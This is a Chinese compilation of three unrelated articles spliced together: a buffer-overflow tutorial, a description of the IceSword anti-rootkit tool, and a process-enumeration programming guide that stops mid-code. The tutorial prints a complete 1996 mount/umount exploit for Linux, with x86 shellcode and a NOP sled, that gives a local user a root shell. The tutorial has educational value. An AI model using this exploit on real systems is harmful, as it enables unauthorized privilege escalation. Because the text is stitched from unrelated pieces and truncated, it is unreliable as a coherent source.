一个程序在内存中通常分为程序段、数据段和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中，它们的位置是：


当 程序中发生函数调用时，计算机做如下操作：首先把参数压入堆栈；然后保存指令寄存器(IP)中的内容作为返回地址(RET)；第三个放入堆栈的是基址寄存 器(FP)；然后把当前的栈指针(SP)拷贝到FP，做为新的基地址；最后为本地变量留出一定空间，把SP减去适当的数值。以下面程序为例：

example2.c
void func1(char * input) {
char buffer[16];
strcpy(buffer, input);
}
void main() {
char longstring[256];
int i;
for( i = 0; i < 255; i++)
longstring [i] = 'B';
func1(longstring);
}

当调用函数func1()时，堆栈如下：

不 用说，程序执行的结果是"Segmentation fault (core dumped)"或类似的出错信息。因为从buffer开始的256个字节都将被* input的内容'B'覆盖，包括sfp, ret,甚至*input。'B'的16进值为0x41，所以函数的返回地址变成了0x41414141，这超出了程序的地址空间，所以出现段错误。


三、缓冲区溢出漏洞攻击方式

缓 冲区溢出漏洞可以使任何一个有黑客技术的人取得机器的控制权甚至是最高权限。一般利用缓冲区溢出漏洞攻击root程序，大都通过执行类似“exec (sh)”的执行代码来获得root 的shell。黑客要达到目的通常要完成两个任务，就是在程序的地址空间里安排适当的代码和通过适当的初始化寄存器和存储器，让程序跳转到安排好的地址空 间执行。

1、在程序的地址空间里安排适当的代码
在程序的地址空间里安排适当的代码往往是相对简单的。如果要攻击的代码在所攻击程 序中已经存在了，那么就简单地对代码传递一些参数，然后使程序跳转到目标中就可以完成了。攻击代码要求执行“exec(‘/bin/sh’)”，而在 libc库中的代码执行“exec(arg)”，其中的“arg”是个指向字符串的指针参数，只要把传入的参数指针修改指向“/bin/sh”，然后再跳 转到libc库中的响应指令序列就可以了。当然，很多时候这个可能性是很小的，那么就得用一种叫“植入法”的方式来完成了。当向要攻击的程序里输入一个字 符串时，程序就会把这个字符串放到缓冲区里，这个字符串包含的数据是可以在这个所攻击的目标的硬件平台上运行的指令序列。缓冲区可以设在：堆栈（自动变 量）、堆（动态分配的）和静态数据区（初始化或者未初始化的数据）等的任何地方。也可以不必为达到这个目的而溢出任何缓冲区，只要找到足够的空间来放置这 些攻击代码就够了。

2、控制程序转移到攻击代码的形式
缓冲区溢出漏洞攻击都是在寻求改变程序的执行流程，使它跳转到攻击代码，最 为基本的就是溢出一个没有检查或者其他漏洞的缓冲区，这样做就会扰乱程序的正常执行次序。通过溢出某缓冲区，可以改写相近程序的空间而直接跳转过系统对身 份的验证。原则上来讲攻击时所针对的缓冲区溢出的程序空间可为任意空间。但因不同地方的定位相异，所以也就带出了多种转移方式。

（1）Function Pointers（函数指针）
在 程序中，“void (* foo) ( )”声明了个返回值为“void” Function Pointers的变量“foo”。Function Pointers可以用来定位任意地址空间，攻击时只需要在任意空间里的Function Pointers邻近处找到一个能够溢出的缓冲区，然后用溢出来改变Function Pointers。当程序通过Function Pointers调用函数，程序的流程就会实现。

（2）Activation Records（激活记录）
当一个函数调用发生 时，堆栈中会留驻一个Activation Records，它包含了函数结束时返回的地址。执行溢出这些自动变量，使这个返回的地址指向攻击代码，再通过改变程序的返回地址。当函数调用结束时，程 序就会跳转到事先所设定的地址，而不是原来的地址。这样的溢出方式也是较常见的。

（3）Longjmp buffers（长跳转缓冲区）
在C 语言中包含了一个简单的检验/恢复系统，称为“setjmp/longjmp”，意思是在检验点设定“setjmp(buffer)”，用longjmp (buffer)“来恢复检验点。如果攻击时能够进入缓冲区的空间，感觉“longjmp(buffer)”实际上是跳转到攻击的代码。像 Function Pointers一样，longjmp缓冲区能够指向任何地方，所以找到一个可供溢出的缓冲区是最先应该做的事情。

3、植入综合代码和流程控制
常见的溢出缓冲区攻击类是在一个字符串里综合了代码植入和Activation Records。攻击时定位在一个可供溢出的自动变量，然后向程序传递一个很大的字符串，在引发缓冲区溢出改变Activation Records的同时植入代码（权因C在习惯上只为用户和参数开辟很小的缓冲区）。植入代码和缓冲区溢出不一定要一次性完成，可以在一个缓冲区内放置代码 （这个时候并不能溢出缓冲区），然后通过溢出另一个缓冲区来转移程序的指针。这样的方法一般是用于可供溢出的缓冲区不能放入全部代码时的。如果想使用已经 驻留的代码不需要再外部植入的时候，通常必须先把代码做为参数。在libc（熟悉C的朋友应该知道，现在几乎所有的C程序连接都是利用它来连接的）中的一 部分代码段会执行“exec(something)”，当中的something就是参数，使用缓冲区溢出改变程序的参数，然后利用另一个缓冲区溢出使程 序指针指向libc中的特定的代码段。 程序编写的错误造成网络的不安全性也应当受到重视，因为它的不安全性已被缓冲区溢出表现得淋漓尽致了。


四、利用缓冲区溢出进行的系统攻击

如 果已知某个程序有缓冲区溢出的缺陷，如何知道缓冲区的地址，在哪儿放入shell代码呢？由于每个程序的堆栈起始地址是固定的，所以理论上可以通过反复重 试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百至上千次，实际上是不现实的。解决的办法是利用空指令NOP。在shell代码 前面放一长串的NOP，返回地址可以指向这一串NOP中任一位置，执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。下面是一 个缓冲区溢出攻击的实例，它利用了系统程序mount的漏洞：

example5.c
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include
#include
#include
#include
#include
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}

main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell ;
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}

程 序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP，后面部分放shell代码。 最后部分是希望程序返回的地址，由栈地址加偏移得到。当以buff为参数调用mount时，将造成mount程序的堆栈溢出，其缓冲区被buff覆盖，而 返回地址将指向NOP指令。

由于mount程序的属主是root且有suid位，普通用户运行上面程序的结果将获得一个具有root权限的shell。


五、缓冲区溢出的保护方法

目前有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响：

1、强制写正确的代码的方法
编 写正确的代码是一件非常有意义但耗时的工作，特别像编写C语言那种具有容易出错倾向的程序（如：字符串的零结尾），这种风格是由于追求性能而忽视正确性的 传统引起的。尽管花了很长的时间使得人们知道了如何编写安全的程序，具有安全漏洞的程序依旧出现。因此人们开发了一些工具和技术来帮助经验不足的程序员编 写安全正确的程序。虽然这些工具帮助程序员开发更安全的程序，但是由于C语言的特点，这些工具不可能找出所有的缓冲区溢出漏洞。所以，侦错技术只能用来减 少缓冲区溢出的可能，并不能完全地消除它的存在。除非程序员能保证他的程序万无一失，否则还是要用到以下部分的内容来保证程序的可靠性能。

2、通过操作系统使得缓冲区不可执行，从而阻止攻击者殖入攻击代码
这种方法有效地阻止了很多缓冲区溢出的攻击，但是攻击者并不一定要殖入攻击代码来实现缓冲区溢出的攻击，所以这种方法还是存在很多弱点的。

3、利用编译器的边界检查来实现缓冲区的保护
这个方法使得缓冲区溢出不可能出现，从而完全消除了缓冲区溢出的威胁，但是相对而言代价比较大。

4、在程序指针失效前进行完整性检查
这样虽然这种方法不能使得所有的缓冲区溢出失效，但它的确确阻止了绝大多数的缓冲区溢出攻击，而能够逃脱这种方法保护的缓冲区溢出也很难实现。

最 普通的缓冲区溢出形式是攻击活动纪录然后在堆栈中殖入代码。这种类型的攻击在1996年中有很多纪录。而非执行堆栈和堆栈保护的方法都可以有效防卫这种攻 击。非执行堆栈可以防卫所有把代码殖入堆栈的攻击方法，堆栈保护可以防卫所有改变活动纪录的方法。这两种方法相互兼容，可以同时防卫多种可能的攻击。
剩下的攻击基本上可以用指针保护的方法来防卫，但是在某些特殊的场合需要用手工来实现指针保护。全自动的指针保护需要对每个变量加入附加字节，这样使得指针边界检查在某些情况下具有优势。

最为有趣的是，缓冲区溢出漏洞--Morris蠕虫使用了现今所有方法都无法有效防卫的方法，但是由于过于复杂的缘故却很少有人用到。

在本文中，我们详细描述和分析了缓冲区溢出的原理，并简单介绍了几种防卫方法。由于这种攻击是目前常见的攻击手段，所以进行这个方面的研究工作是有意义和成效的。


参考文献
[1] 网络入侵检测分析员手册. Stephen Northcutt著.余青霓等译.人民邮电出版社,2000.3
[2] C语言疑难问题解析. 严桂兰,刘甲耀编著.华东华工学院出版社,1993,1.
[3] 网络最高安全技术指南. 王锐等译.机械工业出版社,1998,5.

IceSword，也称为冰刀或者冰刃，有些地址简称IS，是USTC的PJF出品的一款系统诊断、清除利器。

清除流氓软件工具无数，为什么称之为第一利器呢，有如下的理由：

1）你是不是经常有文件删不掉？如CNNIC或者3721的文件？

2）是不是经常有注册表不让你修改？如CNNIC的注册表是它自动保护起来的

3）是不是经常有进程杀不掉，提示“无法完成”？

4）是不是浏览器有N多的插件？

5）是不是有一些程序运行的时候隐藏了进程和端口？

6) 是不是有一些流氓软件的文件在资源管理器下看都看不到？

1、绝大多数所谓的进程工具都是利用Windows的Toolhlp32或psapi再或 ZwQuerySystemInformation系统调用（前二者最终也用到此调用）来编写，随便一个ApiHook就可轻轻松松干掉它们，更不用说一 些内核级后门了；极少数工具利用内核线程调度结构来查询进程，这种方案需要硬编码，不仅不同版本系统不同，打个补丁也可能需要升级程序，并且现在有人也提 出过防止此种查找的方法。而IceSword的进程查找核心态方案是目前独一无二的，并且充分考虑内核后门可能的隐藏手段，目前可以查出所有隐藏进程。

2、绝大多数工具查找进程路径名也是通过Toolhlp32、psapi，前者会调用 RtlDebug***函数向目标注入远线程，后者会用调试api读取目标进程内存，本质上都是对PEB的枚举，通过修改PEB就轻易让这些工具找不到北 了。而IceSword的核心态方案原原本本地将全路径展示，运行时剪切到其他路径也会随之显示。

3、进程dll模块与2的情况也是一样，利用PEB的其他工具会被轻易欺骗，而IceSword不会弄错（有极少数系统不支持，此时仍采用枚举PEB）。

4、 IceSword的进程杀除强大且方便（当然也会有危险）。可轻易将选中的多个任意进程一并杀除。当然，说任意不确切，除去三个：idle进程、 System进程、csrss进程，原因就不详述了。其余进程可轻易杀死，当然有些进程（如winlogon）杀掉后系统就崩溃了。

5、对于端口工具，网上的确有很多，不过网上隐藏端口的方法也很多，那些方法对 IceSword可是完全行不通的。其实本想带个防火墙动态查找，不过不想弄得太臃肿。这里的端口是指windows的IPv4 Tcpip协议栈所属的端口，第三方协议栈或IPv6栈不在此列。

目前一些流氓软件采取的手段无所不用其极：线程注入，进程隐藏，文件隐藏，驱动保护，普通用 户想把文件给删了或者找出进程来，是非常困难的。有的是看到了，删不掉，杀不掉，干着急，实在不行，还需要从另外的作系统去删除文件。比如采取驱动保护的 流氓软件如CNNIC，雅虎助手之类，.sys驱动加载的时候，它过滤了文件和注册表作，直接返回一个true,Windows提示文件删了，但一看，它 还在那里。象一些文件删除工具如unclocker都无效。IceSword是目前所知唯一可以直接删除这类已经加载的驱动和采取注册表保护的工具。象清 除CNNIC这类流氓软件，不需要重启也可以完成了。

IS采取了很多新颖的、内核级的方法和手段，关于它的技术细节不在本文讨论之列，下面主要从使用者角度讲一下它的主要功能：

■查看进程

包括运行进程的文件地址、各种隐藏的进程以及优先级。用它也可以轻易杀掉用任务管理器、Procexp等工具杀不掉的进程。还可以查看进程的线程、模块信息，结束线程等。

■查看端口

类似于cport、ActivePort这类工具，显示当前本地打开的端品以及相应的应用程序地址、名字。包括使用了各种手段隐藏端口的工具，在它下面，都一览无余。

■内核模块 加载到系统内和空间的PE模块，一般都是驱动程序*.sys，可以看到各种已经加载的驱动。包括一些隐藏的驱动文件，如IS自身的IsDrv118.sys，这个在资源管理器里是看不见的。

■启动组

Windows启动组里面的相关方式，这个比较容易理解了。不过可惜的是没有提示删除功能，只能查看。

■服务

用于查看系统中的被隐藏的或未隐藏的服务，隐藏的服务以红色显示。提供对服务的作如启动，停止，禁用等。

■SPI和BHO

这两个是目前流氓软件越来越看中的地方。SPI是服务提供接口，即所有Windows的网络 作都是通过这个接口发出和接收数据包的。很多流氓软件把这个.dll替换掉，这样就可以监视所有用户访问网络的包，可以针对性投放一些广告。如果不清楚的 情况下，把这个.dll删掉，会造成网络无法使用，上不了网。LSPFix等工具就是针对这个功能的。BHO就更不用说了，浏览器的辅助插件，用户启动浏 览器的时候，它就可以自动启动，弹出广告窗口什么的。这两项仅提供查看的功能。

■SSDT (System Service Descriptor Table)

系统服务描述表，内核级后门有可能修改这个服务表，以截获你系统的服务函数调用，特别是一些老的rootkit，像上面提到的ntrootkit通过这种hook实现注册表、文件的隐藏。被修改的值以红色显示，当然有些安全程序也会修改，比如regmon。

■消息钩子

若在dll中使用SetWindowsHookEx设置一全局钩子，系统会将其加载入使用user32的进程中，因而它也可被利用为无进程木马的进程注入手段。

■线程创建和线程终止监视

“监视进线程创建”将IceSword运行期间的进线程创建调用记录在循环缓冲里，“监视进 程终止”记录一个进程被其它进程Terminate的情况。举例说明作用：一个木马或病毒进程运行起来时查看有没有杀毒程序如norton的进程，有则杀 之，若IceSword正在运行，这个作就被记录下来，你可以查到是哪个进程做的事，因而可以发现木马或病毒进程并结束之。再如：一个木马或病毒采用多线 程保护技术，你发现一个异常进程后结束了，一会儿它又起来了，你可用IceSword发现是什么线程又创建了这个进程，把它们一并杀除。中途可能会用到 “设置”菜单项：在设置对话框中选中“禁止进线程创建”，此时系统不能创建进程或者线程，你安稳的杀除可疑进线程后，再取消禁止就可以了。

■注册表Regedit有什么不足？

说起Regedit的不足就太多了，比如它的名称长度限制，建一个全路径名长大于255字节 的子项看看（编程或用其他工具，比如 regedt32），此项和位于它后面的子键在regedit中显示不出来；再如有意用程序建立的有特殊字符的子键regedit根本打不开。

IceSword中添加注册表编辑并不是为了解决上面的问题，因为已经有了很多很好的工具可以代替Regedit。IceSword中的“注册表”项是为了查找被木马后门隐藏的注册项而写的，它不受目前任何注册表隐藏手法的蒙蔽，真正可靠的让你看到注册表实际内容。

如CNNIC添加的HKLM\SYSTEM\CurrentControlSet\Services\dnport这个键值，就是通过它来加载cndport.sys这个驱动文件的。通过Regedit你删除会直接出错，根本无法删除。而用IS就可以轻易干掉。

■文件作

IS的文件作有点类似于资源管理器，虽然作起来没有那么方便，但是它的独到功能在于具备反隐 藏、反保护的功能。还有对安全的副作用是本来 system32\config\SAM等文件是不能拷贝也不能打开的，但IceSword是可以直接拷贝的。类似于已经加载的驱动，如CNNIC的 cdnport.sys这个文件，目前只有IS可以直接把它删除，其它无论什么方式，都无法破除驱动自身的保护。

即使对大多数有用的unlocker，CopyLock、KillBox都是无效的。利用 Windows的系统还没有完全加载的删除机制，通过在 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager下增加PendingFileRenameOperations，这个是所有删除顽固文件工具的最后一招，但它也被驱动保护变得无效了。以 前的情况就是需要重启启动到另外一个作系统下删除。

----那帮做流氓软件的可真是手段无所不用其及。

IceSword内部功能是十分强大的。可能您也用过很多类似功能的软件，比如一些进程工 具、端口工具，但是现在的系统级后门功能越来越强，一般都可轻而易举地隐藏进程、端口、注册表、文件信息，一般的工具根本无法发现这些“幕后黑手”。 IceSword使用大量新颖的内核技术，使得这些后门躲无所躲.

IceSword大量采用新颖技术，有别于其他普通进程工具，比如IceSword就可以结 束除Idle进程、System进程、csrss进程这三个进程外的所有进程，就这一点，其他同类软件就是做不到的。当然有些进程也不是随便可以结束的， 如系统的winlogon.exe进程，一旦杀掉后系统就崩溃了，这些也需要注意。

代码下载：说明 ProcessSpy.zip

当程序出现异常而失去响应，我们通常的做法是打开Windows任务管理器强行将其“杀死”。Windows任务管理器是个好东西，它能显示当前系统中运行的所有进程，以及它们的实时性能参数。但是作为程序员，你知道这些功能是怎么实现的吗？

“这 有什么难的？！”你可能会说，“不就是调用那几个进程枚举函数嘛！”是啊，单纯实现Windows任务管理器类似的功能是不难。但是，你先别急，关于进程 枚举，可能你只知其一，不知其二；更何况，我们这里还有其三、其四。除此之外，我们这里还要增强功能，显示与各个进程相关联的模块（即DLL，动态链接 库）信息。

进程与DLL的基础知识
大家知道，Windows 98/2000/XP都是多任务操作系统。所谓多任务，就是系统中可以同时运行多个进程。而所谓进程，就是应用程序的运行实例。通俗地讲，进程就是一个运行起来的.EXE程序。

系统中的进程都用一个DWORD类型的数据来唯一标识，我们称之为PID。即使同一个应用程序运行多个实例，它们的PID也是不一样的。另外，进程拥有自己私有的虚拟地址空间，进程与进程之间不会相互干扰；每个进程都至少包含一条线程。

那么，DLL与进程又有什么关系呢？大家知道，自Windows诞生之日起，Windows操作系统就使用DLL来支持公共函数调用。DLL中实现的函数代码不出现在.EXE文件中，但可以被各个进程所使用。

使用DLL的好处包括：
1)    可以显著地减小每个组件的大小（特别是对于一些大型软件系统）。
2)    使升级更为简单。如果我们想要使用新版本的函数，改变DLL中的函数后，只需重新编译DLL项目，然后再连接使用该函数的各个应用程序；而应用程序本身不需要重新编译。
3)    便于功能模块化，乃至开发任务的团队协作。

一般来说，一个进程总是调用这个或那个DLL中的函数。进程与DLL是一种依赖关系。在我们的演示程序中，我们不仅要做进程枚举，我们还要来揭示进程与DLL的这种依赖关系。演示程序的用户界面如下：

图1 演示程序之用户界面

好了，言归正转，我们直奔主题。接下去，我们就来逐一介绍各种进程枚举方法。

方法一：使用工具库（Tool Help Library）函数
这是一种历史最悠久、也是最基本的方法（从Windows 95开始就支持这种方法）。这些API函数中，最重要的当属CreateToolhelp32Snapshot，它的函数原型如下：
HANDLE WINAPI CreateToolhelp32Snapshot(
  DWORD dwFlags,      
  DWORD th32ProcessID  
);

这 个函数的功能就是给系统拍“快照”。拍照的对象由参数dwFlags决定，比如dwFlags值为TH32CS_SNAPPROCESS表示对象为系统中 的所有进程，值为TH32CS_SNAPMODULE表示对象为由th32ProcessID参数指定的进程调用的所有模块（也就是DLL）。

当 调用CreateToolhelp32Snapshot函数给指定的对象拍完快照之后，我们就可以使用Process32First、 Process32Next、Module32First、Module32Next等函数进行“取片”工作了，就是遍历刚才拍下来的所有进程、进程调用 的所有模块。

我们的演示程序提供了完整的代码实现：
BOOL CToolHelpSpy::BuildProcessList(void)
{
    // 给系统中所有进程拍快照
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }
    
    PROCESSENTRY32 pe32 = {0};
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // 遍历拍下来的所有进程
    if (Process32First(hProcessSnap, &pe32))
    {
        do
        {
            if (pe32.th32ProcessID && strcmp(pe32.szExeFile, "System"))
            {
                // 保存进程的名字、PID
                CProcessItem  processItem;
                processItem.SetProcessName(pe32.szExeFile);    
                processItem.SetProcessId(pe32.th32ProcessID);
                // 加入列表保存
                mProcList.AddTail(processItem);
            }
        } while (Process32Next(hProcessSnap, &pe32));
    }
    CloseHandle(hProcessSnap);

    return TRUE;
}

BOOL CToolHelpSpy::BuildModuleList(CProcessItem& inProcess)
{
    // 给指定的进程调用的所有模块拍快照
    HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
        inProcess.GetProcessId());
    if (hModuleSnap == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

    MODULEENTRY32 me32 = {0};
    me32.dwSize = sizeof(MODULEENTRY32);
    
    inProcess.CleanupModuleList();
    // 遍历所有模块
    if (Module32First(hModuleSnap, &me32))
    {
        do
        {
            // 保存模块文件全路径
            inProcess.AddModuleItem(me32.szExePath);
        } while (Module32Next(hModuleSnap, &me32));
    }
    CloseHandle(hModuleSnap);

    return TRUE;
}

注：工具库函数在Kernel32.dll中实现。程序开发中，我们需要包含头文件Tlhelp32.h，连接库文件Kernel32.lib。

注： 我们这里使用自定义类CProcessItem来描述一个进程，它保存了进程的名字、PID等信息，另外还维持一个该进程调用的所有模块的列表。相应地， 我们也使用一个自定义类CModuleItem来描述模块，它保存模块文件的全路径、版本号、文件大小、说明信息、所属产品名等。（下同）

方法二：使用PSAPI （Process Status API）函数
这是一种Windows NT/2000下的方法。核心是使用EnumProcesses函数。它的原型如下：
BOOL EnumProcesses(
  DWORD *lpidProcess,    // 用于保存所有进程的PID的数组
  DWORD cb,                     // 上述数组的大小
  DWORD *cbNeeded        // PID数组中实际返回的（有效）字节数
);

当 获得系统中所有进程的PID后，我们就可以使用OpenProcess函数打开指定的进程，再调用GetModuleBaseName获得该进程的名字， 调用EnumProcessModules枚举该进程调用的所有模块，调用GetModuleFileNameEx获得模块文件的全路径。

我们的演示程序提供了完整的代码实现：
BOOL CPSApiSpy::BuildProcessList(void)
{
    // 枚举获得系统中的所有进程的PID
    DWORD  processes[1024], needed;
    if (!EnumProcesses(processes, sizeof(processes), &needed))
    {
        return FALSE;
    }

    char  szName[MAX_PATH]   = "";
    DWORD actualProcessCount = needed / sizeof(DWORD);
    for (DWORD i = 0; i < actualProcessCount; i++)
    {
        // 保存进程的PID
        CProcessItem  processItem;
        processItem.SetProcessId(processes[i]);

        // 打开当前进程以获得进程操作句柄
        HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
            FALSE, processes[i]);
        if (hProcess)
        {
            HMODULE hModule;
            DWORD   needed;
            // 枚举当前进程调用的所有模块
            if (EnumProcessModules(hProcess, &hModule, sizeof(hModule), &needed))
            {
                // 获得并保存进程的名字
                GetModuleBaseName(hProcess, hModule, szName, sizeof(szName));
                processItem.SetProcessName(szName);    
                mProcList.AddTail(processItem);
            }
            CloseHandle(hProcess);
        }
    }
    return TRUE;
}

BOOL CPSApiSpy::BuildModuleList(CProcessItem& inProcess)
{
    // 根据PID打开该进程，获得一个进程操作句柄
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
        FALSE, inProcess.GetProcessId());
    if (hProcess)
    {
        HMODULE modules[1024];
        DWORD   needed;
        // 枚举当前进程调用的所有模块
        if (EnumProcessModules(hProcess, modules, sizeof(modules), &needed))
        {
            char szName[MAX_PATH] = "";
            inProcess.CleanupModuleList();
            DWORD actualModuleCount = needed / sizeof(DWORD);
            // 获得各个模块文件的全路径
            for (DWORD i = 1; i < actualModuleCount; i++)
            {
                GetModuleFileNameEx(hProcess, modules[i], szName, sizeof(szName));
                inProcess.AddModuleItem(szName);
            }
        }
        CloseHandle(hProcess);
    }
    
    return TRUE;
}

注：PSAPI函数在Psapi.dll中实现。程序开发中，我们需要包含头文件Psapi.h，连接库文件Psapi.lib。这些文件在安装了微软的Platform SDK后就可获得。

方法三：利用系统收集的性能数据（Performance Data）
这也是一种Windows NT/2000下的方法。首先，我们需要介绍一些关于性能监视（Performance Monitoring）的背景知识。

所 谓性能监视，实际上是Windows NT/2000提供的一种系统功能，它能实时采集、分析系统内的应用程序、服务、驱动程序等的性能数据，以此来分析系统的瓶颈、监视组件的表现，最终帮助 用户进行系统的合理调配。这里，还要引入一个性能对象（Performance Object）的概念，即被监视者。一般系统中的性能对象包括处理器（Processor）、进程（Process）、线程（Thread）、网络通讯 （如TCP、UDP、ICMP、IP等）、系统服务（如ACS/RSVP Service）等。（本文我们关心的是进程，即名为“Process”的对象。）下面，我们给出系统性能数据的结构参考图：

图2 系统性能数据的结构

性 能对象有两种：一种只支持一个实例，另一种支持多个实例。（我们关心的进程对象支持多个实例，而每个实例对应系统中的一个进程。）一个对象可以有多个性能 指标；每个性能指标都用一个计数器（Counter）来记录。就进程对象而言，它拥有的计数器种类包括ID Process（进程的PID）、Thread Count（线程数）、Priority Base（进程优先级）、IO Read Bytes/sec（每秒IO读取字节数）、IO Writer Bytes/sec（每秒IO写出字节数）等。（本文我们只关心ID Process计数器的值。）

支持单一实例的对象数据结构如下（也就是图2中各个对象数据块的展开形式）：

图3 支持单一实例的对象数据结构

支持多实例的对象数据结构如下（增加了各个实例的定义部分）：

图4 支持多实例的对象数据结构

知 道了性能数据结构，接下去我们怎么来读取它们呢？最基本的方法就是通过注册表函数，如RegOpenKeyEx、RegQueryValueEx、 RegCloseKey等。值得注意的是，这里虽然使用的是注册表函数，但性能数据并不存储在注册表数据库中；读取性能数据时调用函数 RegOpenKeyEx，主键值应该是HKEY_PERFORMANCE_DATA。而当性能数据获得之后，根据各部分数据结构的定义，计算偏移量，我 们就能获取我们感兴趣的数据了。

我们的演示程序提供了完整的代码实现：
#define INITIAL_SIZE        51200
#define EXTEND_SIZE         25600
#define REGKEY_PERF         _T("Software\\Microsoft\\Windows NT\\Currentversion\\Perflib")
#define REGSUBKEY_COUNTERS  _T("Counters")
#define PROCESS_COUNTER     _T("process")
#define PROCESSID_COUNTER   _T("id process")

BOOL CPerformanceSpy::BuildProcessList(void)
{
    // 步骤一：从特定的注册表路径下获取系统中所有的对象、计数器的名字
    LANGID lid = MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL);
    TCHAR  szSubKey[1024];
    _stprintf(szSubKey, _T("%s\\%03x"), REGKEY_PERF, lid);
    HKEY  hSubKey;
    DWORD rt = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szSubKey, 0,
        KEY_READ, &hSubKey);
    if (rt != ERROR_SUCCESS)
    {
        return FALSE;
    }

    DWORD  dwType = 0;
    DWORD  dwSize = 0;
    LPBYTE buffer = NULL;
    BOOL   pass = FALSE;
    // 获得装载所有计数器名字的缓冲大小
    rt = RegQueryValueEx(hSubKey, REGSUBKEY_COUNTERS, NULL,
        &dwType, NULL, &dwSize);
    if (rt == ERROR_SUCCESS)
    {
        buffer = (LPBYTE) malloc(dwSize);
        memset(buffer, 0, dwSize);
        rt = RegQueryValueEx(hSubKey, REGSUBKEY_COUNTERS, NULL,
            &dwType, buffer, &dwSize);
    }

    LPSTR  p, p2;
    DWORD  dwProcessIdTitle;
    DWORD  dwProcessIdCounter;
    PPERF_DATA_BLOCK             pPerf;
    PPERF_OBJECT_TYPE            pObj;
    PPERF_INSTANCE_DEFINITION    pInst;
    PPERF_COUNTER_BLOCK          pCounter;
    PPERF_COUNTER_DEFINITION     pCounterDef;
    if (rt == ERROR_SUCCESS)
    {
        pass = TRUE;
        // 步骤二：查找名为“Process”的对象以及名为“ID Process”的计数器
        // 获取它们的索引值（因为对象、计数器在性能数据中是靠索引来标识的）
        p = (LPSTR) buffer;
        while (*p)
        {
            if (p > (LPSTR) buffer)
            {
                for (p2 = p - 2; _istdigit(*p2); p2--)
                    ;
            }

            if (_tcsicmp(p, PROCESS_COUNTER) == 0)
            {
                // 获取“Process”对象的索引
                for (p2 = p - 2; _istdigit(*p2); p2--)
                    ;
                _tcscpy(szSubKey, p2+1);
            }
            else if (stricmp(p, PROCESSID_COUNTER) == 0)
            {
                // 获取“ID Process”计数器的索引
                for (p2 = p - 2; _istdigit(*p2); p2--)
                    ;
                dwProcessIdTitle = atol(p2 + 1);
            }
            // Point to the next string
            p += (_tcslen(p) + 1);
        }

        // 步骤三：获取进程对象的所有性能数据
        free(buffer);
        buffer = NULL;
        dwSize = INITIAL_SIZE;
        buffer = (LPBYTE) malloc(dwSize);
        memset(buffer, 0, dwSize);
        while (pass)
        {
            rt = RegQueryValueEx(HKEY_PERFORMANCE_DATA, szSubKey, NULL,
                &dwType, buffer, &dwSize);
            pPerf = (PPERF_DATA_BLOCK) buffer;
            // 性能数据块开头以四个字符“PERF”标识
            if ((rt == ERROR_SUCCESS) && (dwSize > 0) &&
                pPerf->Signature[0] == (WCHAR)'P' &&
                pPerf->Signature[1] == (WCHAR)'E' &&
                pPerf->Signature[2] == (WCHAR)'R' &&
                pPerf->Signature[3] == (WCHAR)'F')
            {
                break;
            }

            // 如果缓冲不够大，扩大缓冲后再试
            if (rt == ERROR_MORE_DATA)
            {
                dwSize += EXTEND_SIZE;
                buffer  = (LPBYTE) realloc(buffer, dwSize );
                memset(buffer, 0, dwSize );
            }
            else
            {
                pass = FALSE;
            }
        }
    }

    if (pass)
    {
        pObj = (PPERF_OBJECT_TYPE) ((DWORD)pPerf + pPerf->HeaderLength);
        // 步骤四：在进程对象数据的计数器定义部分寻找“ID Process”计数器
        pCounterDef = (PPERF_COUNTER_DEFINITION) ((DWORD)pObj + pObj->HeaderLength);
        for (DWORD i = 0; i < (DWORD)pObj->NumCounters; i++)
        {
            if (pCounterDef->CounterNameTitleIndex == dwProcessIdTitle)
            {
                dwProcessIdCounter = pCounterDef->CounterOffset;
                break;
            }
            pCounterDef++;
        }
        
        // 步骤五：遍历所有实例，获取实例的名字（即进程名）以及PID
        TCHAR  szProcessName[MAX_PATH];
        pInst = (PPERF_INSTANCE_DEFINITION) ((DWORD)pObj + pObj->DefinitionLength);
        for (i = 0; i < (DWORD)pObj->NumInstances; i++)
        {
            // 获取进程名
            p  = (LPSTR) ((DWORD)pInst + pInst->NameOffset);
            rt = WideCharToMultiByte(CP_ACP, 0, (LPCWSTR)p, -1, szProcessName,
